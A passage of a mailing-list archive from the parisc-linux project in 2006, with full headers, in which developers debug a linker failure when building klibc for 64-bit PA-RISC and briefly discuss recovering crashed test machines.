	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: M2WgNN0XZCEXvbGPamwhOV1wIGhpZcYI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23864

I hacked out a rough first implementation of parisc64 for klibc
last month, and only just got around to testing it now.

The good news, it compiled fine on the first shot. The bad news,
it failed to link usr/klibc/libc.so, and I'm not clueful enough
to know why.

hppa64-linux-gnu-ld  -Ttext 0x40001000 -o usr/klibc/libc.so --start-group
[...]
usr/klibc/socketcalls/recvmsg.o /usr/lib/gcc/hppa64-linux-gnu/4.1.2/libgcc.a --end-group
hppa64-linux-gnu-ld: warning: cannot find entry symbol main; defaulting to 0000000040001000
hppa64-linux-gnu-ld: usr/klibc/libc.so: Not enough room for program headers (allocated 5, need 6)
 Section to Segment mapping:
  Segment              Sections...
  00:           PHDR:  
  01:         INTERP:  .interp 
  02:           LOAD:  .interp .dynamic .hash .dynsym .dynstr 
  03:           LOAD:  .text .rodata .PARISC.unwind .eh_frame 
  04:           LOAD:  .data.rel.ro .data .opd .dlt .bss 
  05:        DYNAMIC:  .dynamic 
hppa64-linux-gnu-ld: final link failed: Bad value
make[2]: *** [usr/klibc/libc.so] Error 1
make[1]: *** [all] Error 2
make: *** [klibc] Error 2

You can fetch it from
git://git.kernel.org/pub/scm/linux/kernel/git/kyle/klibc-parisc64.git,
and compile it with:

make CROSS_COMPILE=hppa64-linux-gnu- ARCH=parisc64 V=1

(It seemed to build without warning on my Debian etch rp2470)

Any hints would be appreciated.

Cheers,
	Kyle M.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Sun, 23 Jul 2006 21:40:58 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20060724014058.GA5542@athena.road.mcmartin.ca>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<7d01f9f00607221801v256dd541l152a85d7624a8d5b@mail.gmail.com>
	<200607231128.45454.mszick@morethan.org>
	<7d01f9f00607231503j7943b075ub6d98f0d5f9c3162@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624145 20596 80.91.229.3 (22 Nov 2014 02:42:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 01:41:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 24 Jul 2006 03:41:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3BB917D6EC;
	Sun, 23 Jul 2006 19:41:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08372-04; Sun, 23 Jul 2006 19:41:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 92B167D6F4;
	Sun, 23 Jul 2006 19:41:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C41E7D6EA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 19:41:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07974-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 19:41:35 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 5AEB87D6E5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 19:41:35 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 85BA55840B4;
	Sun, 23 Jul 2006 21:41:34 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id EA73C5840B3;
	Sun, 23 Jul 2006 21:41:33 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id C6CBE23E83;
	Sun, 23 Jul 2006 21:41:32 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26797-07; Sun, 23 Jul 2006 21:41:32 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 024A623E82;
	Sun, 23 Jul 2006 21:41:31 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 934293B060; Sun, 23 Jul 2006 21:40:58 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <7d01f9f00607231503j7943b075ub6d98f0d5f9c3162@mail.gmail.com>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: a1/xLHRFZDI47rHGdWY2XMhxemhmY8HX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23865

On Sun, Jul 23, 2006 at 06:03:47PM -0400, Thibaut VARENE wrote:
> That box hit the "kill your fs" bug I've seen on ppc and ia64
> (upcoming report mail to be posted soon) so it's basically dead at
> that point and I'm having hard time reinstalling it (thanks to pa8800
> being /such/ a hassle to install remotely).
> 

Does it have two disks? Maybe we should keep one disk as 'known good'
backup on ioz and magnum, and if they crap out, BO ALT and dd it over
the scrogged disk? Just a thought which might save some pain in the
future considering they are crash n' bash machines.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] klibc parisc64
Date: Mon, 24 Jul 2006 15:01:36 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200607241901.k6OJ1aMN000440@hiauly1.hia.nrc.ca>
References: <20060724182758.GC15566@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624145 20599 80.91.229.3 (22 Nov 2014 02:42:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:25 +0000 (UTC)
Cc: klibc@zytor.com,
 parisc-linux@lists.parisc-linux.org
To: kyle@parisc-linux.org (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 19:01:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 24 Jul 2006 21:01:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D65C7D77F;
	Mon, 24 Jul 2006 13:01:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21405-10; Mon, 24 Jul 2006 13:01:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 748D17D783;
	Mon, 24 Jul 2006 13:01:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 63B6D7D77D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 13:01:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21263-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 13:01:40 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3DCE47D775
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 13:01:40 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k6OJ1bdM000441;
	Mon, 24 Jul 2006 15:01:37 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k6OJ1aMN000440;
	Mon, 24 Jul 2006 15:01:36 -0400 (EDT)
In-Reply-To: <20060724182758.GC15566@athena.road.mcmartin.ca> from "Kyle
	McMartin" at Jul 24, 2006 02:27:58 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HSv2cGlMX1Vp6uuYY2FywE53SDc4NIxX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23866

> The good news, it compiled fine on the first shot. The bad news,
> it failed to link usr/klibc/libc.so, and I'm not clueful enough
> to know why.
> 
> hppa64-linux-gnu-ld  -Ttext 0x40001000 -o usr/klibc/libc.so --start-group
> [...]
> usr/klibc/socketcalls/recvmsg.o /usr/lib/gcc/hppa64-linux-gnu/4.1.2/libgcc.a --end-group
> hppa64-linux-gnu-ld: warning: cannot find entry symbol main; defaulting to 0000000040001000
> hppa64-linux-gnu-ld: usr/klibc/libc.so: Not enough room for program headers (allocated 5, need 6)
>  Section to Segment mapping:
>   Segment              Sections...
>   00:           PHDR:  
>   01:         INTERP:  .interp 
>   02:           LOAD:  .interp .dynamic .hash .dynsym .dynstr 
>   03:           LOAD:  .text .rodata .PARISC.unwind .eh_frame 
>   04:           LOAD:  .data.rel.ro .data .opd .dlt .bss 
>   05:        DYNAMIC:  .dynamic 
> hppa64-linux-gnu-ld: final link failed: Bad value

This is a ld bug.  I see the same problem on hpux with '-static'.  We
need another program header sometimes and I haven't figured out why.
I had a hack on my A500 that I might be able to find but it's down at
the moment.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] klibc parisc64
Date: Mon, 24 Jul 2006 15:28:20 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20060724192820.GF15566@athena.road.mcmartin.ca>
References: <20060724182758.GC15566@athena.road.mcmartin.ca>
	<200607241901.k6OJ1aMN000440@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624146 20602 80.91.229.3 (22 Nov 2014 02:42:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:26 +0000 (UTC)
Cc: klibc@zytor.com,
 parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 19:29:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 24 Jul 2006 21:29:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 928717D77D;
	Mon, 24 Jul 2006 13:28:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21709-09; Mon, 24 Jul 2006 13:28:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F2DE7D78B;
	Mon, 24 Jul 2006 13:28:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DAF737D770
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 13:28:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21709-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 13:28:50 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id A2C267D75F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 13:28:50 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 755EB5840B6;
	Mon, 24 Jul 2006 15:28:49 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id EAC3A5840B0;
	Mon, 24 Jul 2006 15:28:48 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 800FB23E83;
	Mon, 24 Jul 2006 15:28:48 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03212-08; Mon, 24 Jul 2006 15:28:48 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (athena.road.mcmartin.ca
	[134.117.69.56])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 40A6923E82;
	Mon, 24 Jul 2006 15:28:48 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id C61963B060; Mon, 24 Jul 2006 15:28:20 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200607241901.k6OJ1aMN000440@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5HutCYoXbHIyva3NNjQ0mZsqJihyalCR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23867

On Mon, Jul 24, 2006 at 03:01:36PM -0400, John David Anglin wrote:
> > hppa64-linux-gnu-ld: usr/klibc/libc.so: Not enough room for program headers (allocated 5, need 6)
[...]
> > hppa64-linux-gnu-ld: final link failed: Bad value
> 
> This is a ld bug.  I see the same problem on hpux with '-static'.  We
> need another program header sometimes and I haven't figured out why.
>

So, klibc linked statically (libc.a) properly...

Interesting. So I fetched the cmdline used to build some of the static
test programs from klibc out of a 32-bit parisc build, and edited them
in the relevant ways to build for 64-bit. The outputted executable when
examined with "file" claimed to be "dynamically linked (uses shared libs)"
and would return "No such file or directory" when executed, implying that
it wasn't linked properly.

However, examination with readelf seemed to be alright.

I can provide the test built program (minips).

Cheers,
	Kyle M.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] klibc parisc64
Date: Mon, 24 Jul 2006 15:35:46 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200607241935.k6OJZkNs000939@hiauly1.hia.nrc.ca>
References: <200607241901.k6OJ1aMN000440@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624146 20604 80.91.229.3 (22 Nov 2014 02:42:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:26 +0000 (UTC)
Cc: klibc@zytor.com,
 parisc-linux@lists.parisc-linux.org,
 kyle@parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 19:36:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 24 Jul 2006 21:36:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36A0A7D778;
	Mon, 24 Jul 2006 13:35:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22031-07; Mon, 24 Jul 2006 13:35:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 486F37D754;
	Mon, 24 Jul 2006 13:35:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D9A247D745
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 13:35:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22004-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 13:35:47 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B1B067D742
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 13:35:47 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k6OJZkHc000940;
	Mon, 24 Jul 2006 15:35:46 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k6OJZkNs000939;
	Mon, 24 Jul 2006 15:35:46 -0400 (EDT)
In-Reply-To: <200607241901.k6OJ1aMN000440@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Jul 24, 2006 03:01:36 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cVWgNI4qZCEXvbGPamwhpKFwIGhpZUaT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23868

> > hppa64-linux-gnu-ld: usr/klibc/libc.so: Not enough room for program headers (allocated 5, need 6)

Additional phdrs are provided by elf64_hppa_additional_program_headers
in bfd/elf64-hppa.c.  The code doesn't expect a .interp section in
a shared library.  That would appear to be the problem here.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] klibc parisc64
Date: Mon, 24 Jul 2006 15:50:40 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200607241950.k6OJoesc001091@hiauly1.hia.nrc.ca>
References: <20060724192820.GF15566@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624146 20606 80.91.229.3 (22 Nov 2014 02:42:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:26 +0000 (UTC)
Cc: klibc@zytor.com,
 parisc-linux@lists.parisc-linux.org,
 kyle@parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
